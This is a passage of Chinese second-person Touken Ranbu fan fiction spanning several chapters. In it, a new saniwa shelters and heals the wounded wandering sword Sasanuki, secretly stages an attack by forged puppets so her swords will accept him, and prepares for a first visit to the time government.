回应你的是衣物摩擦声和沉重的脚步声,一个黑影从竹林里慢悠悠走出来,在踏入石灯笼光晕的瞬间,风带来一股血腥气。
男人有一头黑色头发,几缕头发被血黏在脸侧,身上的衣服与其说是衣服,更像是一堆碎布,勉强挂在身上。裸露的肩膀和手臂被血染红。
“……是你?”看到来人的脸时,你握着平板的手送了松。
男人似乎没有力气走得更近,他一瘸一拐地挪到离茶室不远的一块庭院景观石上,毫不客气的坐下。
“您的欢迎仪式还挺别致。”他笑了笑,似乎扯动到哪处伤口,脸色更加苍白。
你当然不认识这个男人,但你知道他。这股若有若无的气息在半个月前,就已经在本丸内出现了。你本以为是结界修补后的小异常。但随着本丸所有权转让成功,你的灵力与本丸结界链接更加紧密,很快意识到真的有只受伤“老鼠”来到本丸内。
你没有理会这个男人的调侃,视线从他狭长的眼睛,滑到他用简陋布条包扎的伤口上。
你冷冷的说,“你的目的是什么?”
男人苦笑,“我嘛,我原本只是路过。谁知一脚踏进来,就被结界关住出不去了。”
男人卸下腰间的刀放在身体右侧,“先自我介绍一下吧。我是笹贯,诶~就是那种不管被扔到竹林还是海里,都可以自己回来的刀哦。”
你声音平平,“真厉害。”
笹贯笑得更开心了,“好敷衍的态度啊,主君。”
他捂着腹部最深的伤口跪坐在你面前,表情恳切,“您是这个本丸的审神者吧?我有个不情之请,恳请您能收留我一段日子。”
一阵夜风扯过竹林,竹林里小虫子的声音似乎都禁止片刻。
你摸了摸下巴,“嗯……收留一个‘恰好路过’的刀剑男士,这件事,我要和其他人商量。”
笹贯呼吸变得沉重,“恳请您……现在就做决定。我已经没有可以回去的本丸了。如果不治疗伤势,这副身体撑不了多久。”
你眼睛一转,“如果我想赶你走早就赶了,只是……我还是新手,连自己本丸内的刀剑还没有完全搞明白。”
笹贯点头,“我明白了。我已经显现一年,对于出阵、远征、辅助他人手入,都颇有经验。”
太好啦。
你压住嘴角的笑意。这个本丸的刀剑男士们还没有真正出阵过,他们也敬畏你狂躁的灵力不敢轻易受伤,根本没有练习手入的机会。现在有个“结结实实”的伤员送上门当练习品太好不过了。
你按捺心里暗喜,向前走一步,看清笹贯的黑色头发里混杂挑染的绿色,
你语气玩味,“哦,有一年经验吗?一个有经验的刀剑男士为什么会落到这步田地?是本丸出了问题……还是……当了逃兵?”
笹贯干笑道,“主君真是敏锐。嘛,人生……不,‘刀生’嘛。总会遇到无可奈何的事。比如,遇到一个无法再追随的主人。”
你盯着笹贯,“所以你的本丸发生了什么?让你宁愿变成流浪刀剑,也要离开?”
笹贯的头更低了,“过去的事……不提也罢。我只能向您保证,我对您,对这个本丸绝无恶意。”
你更走近一步,这个距离你可以看到笹贯额头上的冷汗,闻到淡淡的血腥味。
“好。我可以收留你。”
笹贯的眼里闪过一丝喜悦,但随着你接下来的话,这丝喜悦很快便凝固了。
“不过我有条件。”
笹贯沉重的点头,“……您请说。”
你把声音放软,“第一,你既已隶属于这个本丸,你的本体刀便由我保管。”
你观察笹贯僵硬的脸,“第二,我会亲自为你手入。但我的灵力……不太稳定,有可能会让你很痛苦,效果也可能不尽人意,你愿意接受吗?”
“第三……”你的眼前突然闪过今晚锻刀室内的景象,摇了摇头,“算了……第三点等你好了我再说。现在我问你,你愿意接受这些条件吗?”
竹林里宿静得可怕。
良久,笹贯伸出双手,将放在地上的本体刀恭敬地捧起,向前递出。
“我接受您所有的条件。从此刻起,任您差遣,主君。”
你接过冰冷的刀,将笹贯的灵力记录在刀账上,随后带他去本丸的手入室。
8. 第八章
你起初走得有些快,步子迈得急。但走几步后,你听到身后费力且沉重的脚步声,放慢速度让笹贯和你的距离逐渐靠近。有笹贯的陪伴,漆黑小路似乎没有那么可怕了,那个扭曲的「形代」在石灯笼的光下逐渐淡去。
你几次欲言又止,想追问笹贯伤口的来历,但话到嘴边总是咽回去。万屋杂货店门口曾张贴过「如何与野猫相处」的布告,第一条就是:不要追,不要问,尊重猫咪节奏,让猫咪放松警惕。
石灯笼的光摇曳着,萤火虫在草丛中飞来飞去。你们的影子被拉得很长。
早在半个月前,你就探查到笹贯的灵力。发现他的灵力厚度高出本丸内刀剑男士一大截。用游戏比喻,本丸的刀剑男士们平均「lv.13」,笹贯一把刀「lv.99」。
啊,这个战力。想到这里你打个激灵,才反应过来把一个大活人晾在自己地盘上半个月。
虽然你很眼馋,不过在那么高的战力加持下,即使对方重伤,你也不敢贸然收编。
你原本只打算晾对方几天。但无缝远征后遗症实在可怕,你大脑直接失忆,每天脑子里只剩下远征煮饭远征远征煮饭远征。要不是今晚笹贯自己找上门来,恐怕还要浑身是伤的在阴冷的竹林里多呆上几天。
想到这里你忽然有点小小的愧疚,停下脚步望向笹贯。灯火下,笹贯的额头上都是冷汗。
他看到你停下,也跟着停住,挑了挑眉,似乎在问“怎么了?”
你沉默片刻,最后皱起眉,语气比你想得要软一些。
“……还能走吗?要不要我扶你?”
手入室以暖色调灯光为主,里面也有专门修复刀剑的「手入精灵」。
在日本传统民俗里,「精灵」这一词专门指代「栖息于自然万物中,拥有神秘力量的灵体」,与自然元素紧密相连。《阴阳师》中也有描绘安倍晴明用灵力驱使精灵打工的情节。
你把笹贯本体刀放在刀架上,命令手入精灵们修复笹贯的本体刀,两个浅红小精灵看到刀立即“哈咦—”地应一声,叮叮当当的忙活起来。
处理完刀,现在轮到人了。
笹贯脱下破损的衣服,赤裸上身坐在手入室垫子上,露出布满伤痕的脊背和腰腹,饶有兴致看你表现。
“嗯……”你严肃的盯着笹贯的伤口,翻阅笔记本,复习这几天灵力试错经验。
“好,我上了!”
笹贯被你中气十足的声音吓得一个机灵,“噗——!不,等等等等,主君!您为什么用这种上阵杀敌的语气?您是要手入,不是要补刀吧?您会认真对待的吧?”
你用力点头,释放诚意,“你现在是归属于我的刀剑了,我很认真。”
你更加温柔的说,“别怕,我会很温柔的。”
笹贯肌肉紧绷,“唉……调动灵力可不是认真就行的。”
你扶着笹贯的背顺势让他躺在手入床上。他一直死死的看着你。
“我曾经所在的本丸,有一振药研藤四郎。他就是‘用力过猛’的军医类型,手入的时候总像是要把人拆开再装回去。幸好后来白山吉光殿显现了,要不然本丸里大家都不敢在战场上受一点伤呢。”
你一边听着一边调动灵力,“你很紧张吗?”
你的手轻柔的覆盖在笹贯的额头上,他的睫毛轻轻一颤,“嗯……手册上说要温柔得像春雨渗透……”
笹贯倒吸一口凉气。
你的手心离开他的额头几毫米,“怎么,痛吗?”
笹贯哭笑不得的说:“不,倒不是很痛。主君,您的灵力……怎么说呢……”
他重新组织语言,“感觉就像用一壶刚烧开的沸水,小心翼翼给我泡茶。虽然动作很温柔,但水……是开的啊,好烫!”
你立马挪开手,笹贯的额头已经红了一块。有个在水池里游泳的「手入精灵」飞过来,把自己半透明灵体敷在那块烫红的地方。
你尴尬地挠脸颊,“抱歉。我再试一次。”
你改为把手放在笹贯的伤口上,想象溪流汇入海洋的场景。
过了几秒,笹贯幽幽开口,“嗯……确实不烫了。”
你松口气。
“感觉就像是暑中,有人亲切的把我扔到冰棍海里。虽然很凉快,但是主君,会冻伤的哦。”
你:“……”
你泄气地收回手,把刚才两次手入反馈记录在本子里。
躺在床上的笹贯低笑出声,“主君,不用担心,第一次都这样。我第一次有人类躯体时同手同脚走路了很久,后面才被长谷部君纠正好的。”
“你知道走路的秘诀是什么吗?”笹贯笑着,“是忘掉手脚,专注目标。”
真是心灵鸡汤。
你叹口气,重新打起精神,不去想复杂的灵力象征,也不想如何把灵力从手臂流经导出,单纯的把灵力专注在伤口,想象笹贯原本的样子。
奇妙的事情发生了。
那些翻卷的皮肉以肉眼可见的速度开始愈合,破碎的经络被重新连接,不详的黑气被一点点净化驱散。
从头到尾没有出现可以被称为“灵力”的闪光,但笹贯的伤口差不多修复完毕。
灵力输出戛然而止。你的眼前涌现出密密麻麻的小黑点,一阵眩晕感袭来,你晃了晃,连忙坐在地板上休息。
手入室重新恢复安静,
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只剩下小精灵们不知疲倦地擦拭刀油,发出“叽咕”,“叮—”的声音。
你缓了好一会,才从随身携带的姆明袋子里翻出笔记本和笔,无视还在颤抖的手指在纸上写着——
“和「审神者新人手册」上记载的不同。”笔尖顿了顿,“没有普遍的白色或者浅金色的灵力光芒出现。我每次使用灵力时都会感觉到胸口发凉,是个体差异还是……”
一根修长的手指按在你的笔记本上,恰好压住你刚才写的那行字。
你抬头对上笹贯的目光。
笹贯身上还有一些残留的伤口。他半蹲在你面前,神情有些复杂。你看不懂笹贯此刻的表情。
你声音平平,“怎么了?”
笹贯愣了一下,笑道:“……主君,看来您意外的有天赋呢。”他避开有关灵力的话题,“那么,我今晚要住哪里呢?”
你眨眨眼睛,从思考中抽离,把笔记本随手扔入姆明袋子,然后从袋子夹层里抽出一张皱巴巴的本丸地图递给笹贯。
“嗯……先辛苦你在手入室里睡一晚。这里有病号用的备用被褥。明天等我开完会,会在寝殿整理一个空房间给你。你先熟悉一下本丸布局。”
和笹贯简单道别后,你抱着笹贯保养一新的本体刀现在庭院巡视一圈,再独自返回天守阁。
深夜的本丸寂静无声,桂花香气清甜,你的脚行走在木质地板上发出“哒…哒…哒…”的声音,每次都像敲击在你的神经上。怀里的刀很沉,此刻反而增添一些安慰。
虽然本丸新布局中,近侍间与天守阁已经分开,但路过曾经那间近侍房时,你脚步还是不自觉放轻。
鬼鬼祟祟的。你想。我在怕什么,山姥切他们又不会突击查岗。
你自嘲的笑了笑,但还是不敢放松警惕。把一把来历不明的刀剑留在本丸,你可以说服自己,却没把握说服其他人。
回到天守阁三楼卧室,这里不是你主要活动空间,没有任何大型家具,从演练室拿来练习灵力的木刀孤零零放在一个刀架上。蓝色的月光透过障子,毫无阻拦的流淌于地面。
你要将笹贯的刀藏在哪里?是壁橱里?还是衣柜中?
你把壁橱里的布团拿出铺好,把笹贯的本体刀放在枕边,用被褥盖住。这个位置,你可以随时摸到。如果笹贯真的对本丸不利,你也可以瞬间发动灵力压制笹贯。
最危险的地方,也是最安全的地方。本丸的刀剑男士们没有允许,绝不会进入你的卧室。
你伸了个懒腰,骨头发出一连串卡啦声。你需要好好睡一觉,明天你得向本丸里仅剩的四位刀剑男士们解释一下,家里为什么凭空出现了一口刀。
9. 第九章
走廊传来的不是平日里清脆的木屐声,而是一阵慌乱的“哒,哒,哒”声,像某种小动物拼命的奔跑。接着天守阁一楼的铃铛剧烈摇晃。
“审神者大人——!大事不好啦!”
一团毛茸茸的东西冲撞入你怀里,是狐之助。
你迷迷瞪瞪的把它从怀里扯下来,努力睁开眼睛,“……怎么了,天都没亮呢!慢点说。”
“慢不了啦!”狐之助用肉球啪啪拍你的脸,“本丸被袭击啦!”
“什么?!”
你睡意全无,猛地掀开被子,还没来得及换衣服,抓起刀架上练习用的木刀往楼下冲。
麻烦,麻烦。天守阁怎么有三楼!
狐之助跟在你的脚边,上气不接下气地解释着,“是,是锻刀炉出现的……‘那些东西’!它们早上从锻刀炉里跑了出来!有四个!刀匠们说那些东西不是刀剑男士!”
冷汗从你的额头上流下。
“啊……「形代」?”
“是的!”
在你冲过一楼缘侧的瞬间——
蹭——!
刀光一闪,大脑还没反应过来,身体便凭借本能往旁边侧倒,你从缘侧摔下,一屁股跌坐到枯山水的白沙里,冰凉的白沙瞬间灌入你的衣领。
“主君!”
一个蓝色身影落在你面前,一期一振一把将你从地上拉起,“失礼了,您没事吧?”
你迅速抖落身上的沙子,“没事。现在战况如何?”
偷袭你的一个由木炭和玉刚组成的人形,正在以一种僵硬又诡异的姿势缓缓转身。它的脸和你昨天在锻刀室看到的那个「形代」一样,没有五官,脸部是一片平滑的黑色。
“是‘?刀’形态的「形代」,但里面没有?刀的灵体,它们没有理智,只会攻击移动目标,”一期一振语速极快,将你护在身后,“非常抱歉,主君!如果昨天我能陪你一起锻刀……”
又一道刀光。
“不不不,现在不是说这个的时候。”你打断一期一振,「形代A」已经再次朝着你们的位置扑来。
你和一期一振同时往两侧躲开,沉重的刀刃砸在你们刚在站立的地方激起一片沙尘。
趁着「形代A」攻击落空的僵直瞬间,一期一振欺身而上,手中的刀划过一道弧线,劈在「形代A」的肩膀!
锵——!
刀和玉刚身体碰撞,火花四溅。「形代A」的肩膀上留下一道裂口,没有流血,只有黑色的粉末簇簇落下。
?刀形体的「行代」继承了?刀本身的优缺点:攻击范围广、移动速度慢,以一期一振现在的经验勉强可以应付。
但也只能应付。
「形代A」在一期一振手下吃亏,剧烈摇晃一下,改为向你冲来。
完蛋!
你立马横起手里的木刀格挡,「形代A」的刀已经直接下落,振击你手上的木刀。
铛——!!
你的虎口被震裂,鲜血顺着木刀流下。
一期一振从侧面切入,手腕一转,刀刃向上挑起,随即往「形代A」握刀的手腕挥砍。
「形代A」躲避不及一条手腕被齐齐切断。
“主君,快走!”一期一振一把抓住你的手臂,将你向后拉去,“其他三个「形代」在庭院茶室,其他刀剑男士正在牵制!”
“好!”
你不再犹豫,转身就向茶室方向跑去。一期一振紧跟其后,他一边护着你一边不时回头,一击一躲将身后的「代形A」引诱去新的战场。
通往茶室的露地草木潦倒一片,草坪上有好几个被碾压的痕迹,空气中弥漫沸腾的铁水味。
战场的中心,三个……不,四个刀剑男士的身影将最后的两个「形代」团团困住。
在他们的脚边,地上还有一摊粘稠的黑色残渣正在缓慢地化为飞灰——显然,已经有个「形代」被解决了。
你的视线被那个多出来的身影吸引,惊讶的发现那是笹贯。
他昨晚的伤还没有完全治好,露出的伤口狰狞,一眼看上去比「形代」还要狼狈。然而,他每次挥刀都精准地落在「形代」的关节和核心处,攻击大开大合,毫不惜身。
“为什么主君也来了?!”看到你山姥切国广发出一声惊叫。他一分神,差点被某个「形代」的横击扫中,幸好被小乌丸一把拉开。
山姥切看到你流血的虎口,眼里满是惊慌。
你的脸一下变红,避开山姥切的目光跳到一边,为刚刚赶来的一期一振让出位置。他带来的「形代A」冲入战圈,被三日月宗用一个巧妙的侧身闪避,引得和另一个「形代」重重的撞击在一起。
“我听到铃铛声就下来了。”你一边解释一边找狐之助,却发现不见它踪影。大概是刚才在缘侧摔倒时,把狐之助也撞飞了。
一期一振显然也注意到笹贯,愣了愣神,但战况紧急,他没时间多想,立即挥刀加入战局。
战场节奏瞬间加快。
你看不清他们挥刀的动作。在场机动最快的是山姥切国广和小乌丸,他们利用机动在「形代」身上不断叠加狭长的伤口,牵制「形代」的行动,为笹贯创造出致命一击的机会。
而笹贯每次出刀都仿佛在以命搏命,只为最短时间击溃敌人。
突然,一具「形代」仿佛厌倦纠缠,猛地转向,直接冲向你。
又来?!
“小心!”
你还没反应过来,只觉得腰间一紧,整个人便飞起来。是三日月宗近,他甚至没回头,反手一捞把你扔到茶室里面。
你在榻榻米上滚了两圈才停下,耳边传来茶室大门被关上的声音。
茶室外不断传来刀剑碰撞的兵乓声和「形代」沉重的踏步声。你看不到外面的状况,只觉得更加煎熬。
你用木刀切下一块衣摆,把衣摆缠在虎口上止血。
突然,外面所有的声音都消失了。
你屏住呼吸,心一下子提到嗓子眼。
仿佛一个世纪那么久,茶室大门被缓缓拉开。
刀剑男士们的身影出现在门口,一个个都有些狼狈。衣服破了,脸上,手臂上都带着些划伤,身上还沾着「形代」爆裂后留下的黑色木炭粉尘。像一群从灶台里钻出的猫。
“……解决了?”你试探的问。
山姥切第一个点头,重重的松了口气。
在他们身后,更远的庭院里,笹贯独自站在一堆黑色残渣中。他的手在发抖,不知是因为脱力还是紧张,明明是出力最多的刀,反倒是更加手足无措。
“……”看着茶室里的四振刀剑,你陷入沉默。
好了,现在要怎么和大家解释笹贯的事呢?
你带大家先去手入室治疗伤口,路上遇到抽抽搭搭来找你们的狐之助。你一把拎起它,发现它的狐脸肿了一块,好几块皮毛都掉了。
真可怜啊。你抱着它轻轻拍打它的背,“没事了,没事了。”
到手入室后你也让「手入精灵」帮忙治疗小管狐的伤。
除笹贯外,其他刀剑男士们的伤都是无需用灵力手入的皮外伤。在清洗后,你用「手入精灵」递来的药水给他们涂抹伤口。
你把冰凉的棉签按在山
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姥切的手臂上,山姥切还是那一脸别扭的样子,嘴里嘟囔着“……明明说了没有治疗的必要。”
“哦,可是我还挺喜欢照顾你们的。”你头也不抬,转向三日月。
三日月笑眯眯的伸出手,“嗯嗯,我喜欢被照顾呢,感觉伤口会好得更快些啊。”
你笑了笑。
“我换件衣服再来。”一期一振屈身站起。
小乌丸闭上眼睛,“那么也请允许作为古刀的吾小憩片刻。”
“油豆腐……”
“等等!”
你一把拉住要换衣服的一期一振,另一只手扶住要睡的小乌丸。将四位付丧神召集在一起。
机会只有现在。
“那个……关于笹贯,也就是刚才和你们一起战斗的那位,我有话要说。”
你环顾刀剑男士们的脸,避开他们探究的眼神,垂下眼帘,把昨晚遇到重伤的笹贯,如何为他治疗,又如何收下他的本体刀的事情大概说了一遍。
“虽然瞒着你们真的很抱歉。但是,综合他的诚意和他今天的表现,我希望他能加入我们的本丸。”
你说完,深深的鞠一躬。
手入室一片死寂。
你感觉他们的视线像针扎一样刺在你的头顶。
终于,三日月悠悠的叹气,“没想到您私底下为了本丸,还做了这些事……”
成了。
你抓住他话里的台阶,深吸口气抬头,“真的很抱歉。还有……对不起,对不起……没想到我锻刀会锻出那种……东西。”
你眼眶发红,手紧张的发抖。
“这也是我们的错,主君。”小乌丸的声音适时响起,“为父明明知道您对灵力的掌控还不熟练,在您锻刀时,身为近侍的吾却不在您的身边,亦有失职之过。”
一场关于笹贯去留的会议,微妙的变成了道歉大会。
最后的结果毫无悬念,有了“共同淤血
浴血奋战”的友谊和“交出本体刀”这个重磅筹码,没人再提出反对意见。在听到笹贯把自己本体刀交给你保管时,大家的表情都有些不自然。毕竟他们中没有一人,敢把本体刀交给你保管。
你心里悬着的石头终于落地,故作轻松的笑了笑,“那个,既然事情也解决了,我的手又受了伤,今天就不做饭了,大家就在万屋吃一顿吧。”
你把狐之助塞给山姥切国广,让山姥切带这位小管狐去吃它心心念念的油豆腐。三日月笑着说要买清洁符回来,把庭院清洁干净。一期一振和小乌丸也各找理由离开。
每个人离开手入室时,都和坐在手入室里间的笹贯打了招呼。你心里泛起一些欣慰。
走廊的脚步声渐渐远去,现在,手入室里终于又只剩下你和笹贯。
“今天真的是太多谢你了。”你扶着笹贯躺在手入室的病号床上,总觉得这一幕似曾相识。
笹贯没有说话,只是一直用蓝色的眼睛盯着你。
你被他看得有些不自在,“怎么了,伤到嘴巴了?”
“……”
“好吧,不说话治疗直接开始——”你伸出手就要放在笹贯额头上准备注入灵力。
“请停一下!”
笹贯终于开口了,表情却奇怪的严肃。
他沉默半响,似乎在组织语言,最后,问出一个让你血液几乎凝固的问题。
“主君……您和这个本丸的刀剑男士们,有什么过节吗?”
见你似笑非笑,他又继续追问——
“如果想让我加入本丸,直接跟您的刀剑挑明就好,何必如此大费周章呢?”
10. 第十章
要从哪里开始解释好呢?
是从你知道自己被隐瞒前任审神者情报开始——
还是从你得知笹贯的存在开始——
又或是从昨晚的锻刀开始———
这些重要吗?
昨晚第一次制造出来的「形代」早就被你用锻刀室锻刀的锤子锤成一地碎渣。
今天遇到的“?刀”「形代」不过是你昨晚临时投入资源,为今天的戏制造的傀儡。
“?刀”的程度刚好。显现时间需要五小时,不会打扰刀剑男士们夜晚的熟睡,攻击范围广,速度慢,更重要的是——初始的“?刀”每次攻击都很微弱,只能对刀剑男士们造成刮伤。
简直是为本丸这些只在「函馆」实战过的刀剑男士们专门准备的,完美的表演玩具,
你让四位刀剑男士们轮流陪你锻刀四天,让他们习惯你的失败,接受主君锻刀很不稳定的设定,这样,当混乱发生时,他们只会自责,不会怀疑。
你的计划是这样的。
所以……为什么在茶室时,山姥切那双担忧的眼神让你心里产生一丝尖锐的悔意?
为什么现在笹贯这双锐利的蓝色眼睛让你如此烦躁?
你这样做是为了让笹贯顺利加入,还是为了报复他们对你的隐瞒?
你张了张嘴,说——
“……那么你觉得呢,笹贯?”
你停留在笹贯额头上方的手稍微偏移,手指挡住他眼睛的视线。
在静默中你似乎觉得笹贯的呼吸从你的指尖穿过。
“请多信任自己的刀吧。”
你闭上眼睛,开始手入。
————
笹贯的房间选在能轻松看云的一角,按照他的说法是云海也是海,只要乘上云浪就能回家。
但根据笹贯后来的坦白,他的前本丸应该在你到这个本丸的一个月前就已经覆灭了。
笹贯和你一起坐在天守阁一楼缘侧,他也加入近侍轮换的队列,今天是他第一次当你的近侍。你握着狐之助跑腿来的草莓可丽饼,可丽饼顶端装饰着王冠一样的草莓和香蕉片。
笹贯讲前本丸时声音很轻。
“那天……我们远征回来。天气很好,好得不像真的,蓝得像海。队长是小狐丸,他还开玩笑让烛台切殿准备一桌豆腐盛宴。”
他略微停顿,你还在吃顶端的草莓,饱满的果肉在你牙齿间迸裂,发现他停顿后你望向他。
笹贯似乎在回忆当时的画面,“但是,当我们抵达本丸后,很快发现一切都太安静了。没有近侍迎接我们,连短刀也没有,他们经常会吵着要手信。”
“我们分头去查看,我去锻刀室,加州清光和鹤丸国永去马厩,我记得我才刚走到锻刀室门口,就听到鹤丸国永叫我的名字,声音很惊慌。我回头……他就不见了。”
“嗯?”你的舌尖下意识去舔舐要流下来的冰淇淋奶油。
“不见了。”笹贯重复着,“我回头的时候他就不见了。连一片衣角也没有留下。”
可丽饼内里的蛋糕和芝士跑到你的嘴里,牙齿咬破了可丽饼皮,但你忘记吞咽。
笹贯呼吸变得有些急促,“然后是加州清光,长谷部……小狐丸很快把剩下的人召集在一起,我们背靠背警戒暗处的敌人,但是没有用。有时候是一阵风,有时是光线恍惚一下,身边的人就不见了……”
浓郁的芝士一点点化开,你却觉得嘴里没有味道,又补上几口奶油,用眼神催促笹贯讲下去。
笹贯看向你,语调更慢了,“轮到我时,我感觉到了。有什么东西在把我从‘我’里面抽出去。这和离岸流很像,我拼命抵抗,但只能顺应海浪的方向走……”
“周围的景色越来越透明。不过幸好我曾经被扔到过海里,懂得驾驭海浪的技巧。我逃了出来,身上都是伤,但奇怪的是,我不知道这些伤是什么时候造成的,就好像突然出现一样。我没有可以回去的地方。所以顺着河流来到「异界」,再然后成为流浪刀剑。”
等他的话音落下,你才发现曾经华丽的可丽饼已经被你吃得只剩一个空虚的尖角。
你捏着那个变型的尖角,觉得他的讲述非常奇怪,仿佛是整个本丸一瞬间从内部瓦解一样。
六个成年男性的饭实在不好做,你虎口的伤还没好,笹贯就嚷嚷着自己有一年打杂经验,连带着山姥切国广一起帮你捏饭团备菜。
你是不喜欢捏饭团的,捏饭团的米饭又烫又黏,即使用保鲜膜捏出来,也松散得难看。你初次尝试后,就把捏出来的饭团重新打散变回普通米饭。
本丸的刀剑男士们吃到笹贯做的饭团,都露出一脸怀念的表情。
“嗯~洁白的米粒如同珠玉,梅干恰似落雪的梅花。”
“……我们平时也吃米饭吧?”
你无语的看向诗兴大发的三日月,本丸的大米也没换啊。
三日月只是笑道,“换一种形式,滋味也会改变呢。”
你点点头,想着米饭和饭团是不是冒菜和麻辣烫的区别,但实际上这两者在你眼里也没区别。
似乎是因为饭团的激励,一来二去,一期一振也加入厨房的队伍,在你虎口好之后三人也没从厨房退出,竟然代替你掌握本丸厨房的地位。
九月中旬,气温下降,你的大脑也跟着清醒不少,想起本丸的桂花白白落地也可惜,可以做桂花蜜。
三日月也提出帮忙摘花,你看出他想偷懒逃番不种地,于是让三日月和小乌丸一起组队种田。
“果然还是要父亲监督才行吧。”你把清晨采摘后晒干的桂花搬到厨房,现在厨房里只有一期一振。
听到你的话一期一振一直微笑的脸浮现出几分真意,“主君,刀剑们的真正父亲只有刀匠哦。嗯……小乌丸殿,应该说是「制式的始祖」?”
“祖宗?”
你的T恤在茶室一战光荣退役,你现在常穿着三日月给你买的紬,为了方便做事,你学着他们的模样,用一根带子把碍事的袖子固定在手臂上方。将水煮沸,加入桂花后盖上盖子。一期一振在橱柜里找出几个空罐子,准备给你装桂花蜜。
桂花和□□糖的熬煮需要时间。你洗干净手,抽出平板准备去缘侧坐着浏览审神者论坛
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。
一期一振却没有离开,而是端正地跪坐在你身边,“主君。请问您能和我一起去看望还在沉睡的刀剑吗?”
平板的屏幕刚刚亮起,又被你熄灭。“好。”
你仔细检查了厨房的火源,设定好闹钟提醒时间,才和一期一振一起去往本丸西边的渡殿:「梨花殿」。这里位于寝殿群左侧,如名字所说,院内种了两棵高大的梨花树。现在还没到梨花盛开的季节,枝桠一片叶子也站不住,但可以预见等到三月,雪白的梨花会像白色火焰点燃这座庭院。
殿内布局复杂,你紧跟一期一振身后,沉睡的刀剑们以本体刀的样子,被供奉在「梨花殿」东厢的刀架上,刀鞘颜色暗沉。
一期一振走到右手边第一个刀架前,微微俯身。
“主君,这位是鸣狐。鸣狐,这位是新上任的主君。主君,鸣狐不爱说话,但心地非常柔软……”
你没有告诉他们自己的名字,也没有使用任何代号,一期一振便以“主君”代称,逐一走过刀架,一一将东厢沉睡的刀剑们介绍给你。
“主君,这位是加州清光。清光殿,这位是新上任的主君。主君,清光殿爱美,和安定君是朋友……”
一期一振看向这些刀剑的眼神,和你去博物馆看展品的眼神不同,那是对“同胞、家人”的眼神。
你站在一个人类的视角,只觉得这一幕荒诞又毛骨悚然,而对于一期一振,这又像是这世界上最理所当然的事。
怀里的平板发出震动,是桂花蜜的闹钟。你面不改色关掉定时,示意一期一振继续。
最后,他引你走到一个小平台边,平台上没有刀剑,只有一块叠放整齐的白色披肩。你认出它,那是从近侍间镜子后找到的布。
“这位是……前田藤四郎,”一期一振的声音在颤抖,他伸出手,仿佛想要抚摸那块布,但是手还是停留在半空。
“前田,这位是新上任的主君……”
你对着那块柔软布料轻轻点头,“很高兴认识你。”
厨房里弥漫一股焦糖的香气,桂花蜜最终还是粘了锅底。你好不容易才抢救出小半瓶。一期一振在你身边一遍遍道歉,然后帮你洗锅。
你一边安慰他:“院子里还有很多桂花,大不了明天大家进行花当番,把院里的桂花都撸下来煮蜜。”一边心不在焉的想——
真是便宜三日月宗近了。
你脑子里突然冒出这个念头。
不对,不对。你停下擦洗瓶子的手。
难道你还记着三日月把你扔入茶室吃榻榻米的仇?但是那是“紧急关头”吧。
你忍不住抬手,狠狠地掐自己的脸。
“嘶……”给我清醒一点!
一期一振似乎察觉到你的异样,转过头,刚好看到你掐自己脸的古怪模样,欲言又止。
“主君,您怀里有鸟叫?”
“什么?”你松开手,反应过来一期一振说的是你怀里的平板,你给通知提醒设定的是“森林鸟鸣”。
「啾啾啾啾」
该是去时之政府「总务部」确认联队战的时候了。
11. 第十一章
本丸清晨,你还在熟睡。鼻子痒痒的,你用手一抹,摸到一双毛茸茸的圆形物体。
“怎么了?”你迷迷糊糊的睁开眼睛,一只手按住掩盖笹贯本体刀的被角。狐之助的手掌和狐吻接二连三撞在你脸上。
你哭笑不得,“本丸又遇袭了?”
狐之助拔出不小心塞你嘴里的爪子,“审神者大人!昨晚你不是说要早起准备的吗?怎么忘了!”
你的笑容僵住,没想到小乌丸他们要来真的。
昨天晚上,你收到时之政府下发的“联队战”参与意向书后,就和刀剑男士们商量,要带初始刀山姥切国广一起去「总务部」签纸质版留档。
你话音刚落,本丸里为数不多的几位刀剑男士互相交换眼神。
“哈哈哈哈,甚好甚好。不过,主君,这可是您第一次前往时之政府,说是首次‘亮相’也不为过呢。”
“的确如此,为父觉得,主君的仪态便是本丸的颜面。”
你看着小乌丸和三日月一唱一和,心里警钟叮铃,上次三日月和人同声同气是做什么来着?
果然这趟门不好出。
“我知道了。”你顶着一头乱发,关掉原本要用的八点闹钟,瞟向屏幕上的时间,“什么?凌晨五点!我再睡了。”
你立马倒回床铺。
“不行——大家都在天守阁外边等着了——”
狐之助从你身后猛地推起你,盯你洗漱。
冰凉的水扑在脸上,水珠沿着你下颌线滑落,滴进衣领。你脑子里一片混沌,实在想不出凌晨五点早起,要准备什么大事。
事实证明,你的想象力过于贫瘠。
天光只是一层薄薄的灰色,刚踏出天守阁,刀剑男士们簇拥你去往寝殿母屋,寝殿的桂花散在走廊上,白重瓣山茶花风摇花颤。
一期一振提议帮你从头到脚清洗,护理头发。你拒绝前两个建议,但在他坚持下还是同意让他帮你涂抹护发素。
“主君的发质偏细软,容易打结,这款护发素可以增加韧性,请您稍稍忍耐。”一期一振一边用吹风机吹干你的头发,一边解释。
你望着缠绕断发的梳子,嘴角颤抖,“一期一振先生,你似乎很擅长做这些?”
一期一振梳头的手一停,随即恢复如常,“是的,照顾弟弟们是兄长的责任。何况,让主君以最好的姿态出现在众人面前,亦是家臣的责任。”
你品味出他嘴里那份“家臣责任”外的某种“补偿心理”,放弃挣扎,让一期一振帮你吹干头发,用电热直发棒拉直,“那么就拜托你了。不过下次记得多用防脱发洗发水,我担心自己英年早秃。”
更衣由小乌丸和三日月宗近负责,他们一件件给你穿戴,不满意又重新脱下。你像个扮装人偶给他们折腾,最后小乌丸敲定一件麻织蛇纹的紬。
“主君,蛇在日本文化中可以帮主人避开厄运哦。您这趟旅途一定会顺利的。”小乌丸小心地把紬放置在竹笼上,看到你趁机躺在地板小睡,一手把你拉起。
“主君,您这样会破坏一期一振为您打理的头发。”
“只是去签个到啦,”你耸拉脑袋,嘟哝着,“奶奶……”
“虽然我并不是您的奶奶,但如果您想称呼我为爷爷,我也是欢迎的。”
“你占我便宜?”你瞪眼三日月。
三日月给挑选出来的衣服熏香,你和小乌丸坐在一旁等待。一盆热水置于竹笼下,蒸腾的水汽被竹笼上的衣物盖住,等水汽完全湿润衣服后,香炉为衣服附上调配好的香。
三日月的嘴唇在动,声音仿佛在吟诗,“沉香六両,丁香四匁,白檀十二両,白茶……”
啪嗒。
你一激灵,清醒过来。小乌丸抬起打在你手背上的扇子,开始叮嘱你和人会面的礼仪。
轮流下来,精疲力尽。你正欣慰山姥切和笹贯没有参与其中,回头发现坐在门口的山姥切,今天标志性的布格外洁白,甚至有点晃眼。
